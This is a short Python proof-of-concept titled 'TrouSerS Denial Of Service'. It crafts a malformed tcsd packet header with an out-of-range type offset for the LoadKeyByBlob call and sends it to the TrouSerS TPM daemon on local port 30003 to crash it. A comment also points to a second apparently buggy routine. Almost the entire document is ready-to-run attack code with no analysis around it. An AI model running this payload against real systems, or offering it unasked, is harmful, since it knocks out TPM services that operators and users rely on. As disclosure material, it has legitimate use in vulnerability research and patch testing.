TrouSerS Denial Of Service

`# crash_tcsd.py  
# Copyright (c) 2012 Andy Lutomirski. All rights reserved.  
#  
# Permission is granted to anyone to copy and redistribute this file verbatim.  
# Permission is *not* granted to distribute modified copies or derivative works.  
  
import struct  
import socket  
import time  
  
# UnloadBlob_PCR_EVENT also appears buggy.  
  
crasher = struct.pack('>IIIIIII',  
28, # packet_size = sizeof(tcsd_packet_hdr)  
11, # ordinal: LoadKeyByBlob  
1, # num_parms = 1 (so first getData doesn't bail)  
0, # type_size = 0  
0x80000000, # type_offset is off in lala land  
0, # parm_size = 0 (skip checking)  
28, # parm_offset: see getTCSDPacket  
)  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP)  
s.connect(('127.0.0.1', 30003))  
s.send(crasher)  
s.shutdown(socket.SHUT_WR)  
s.close()  
  
`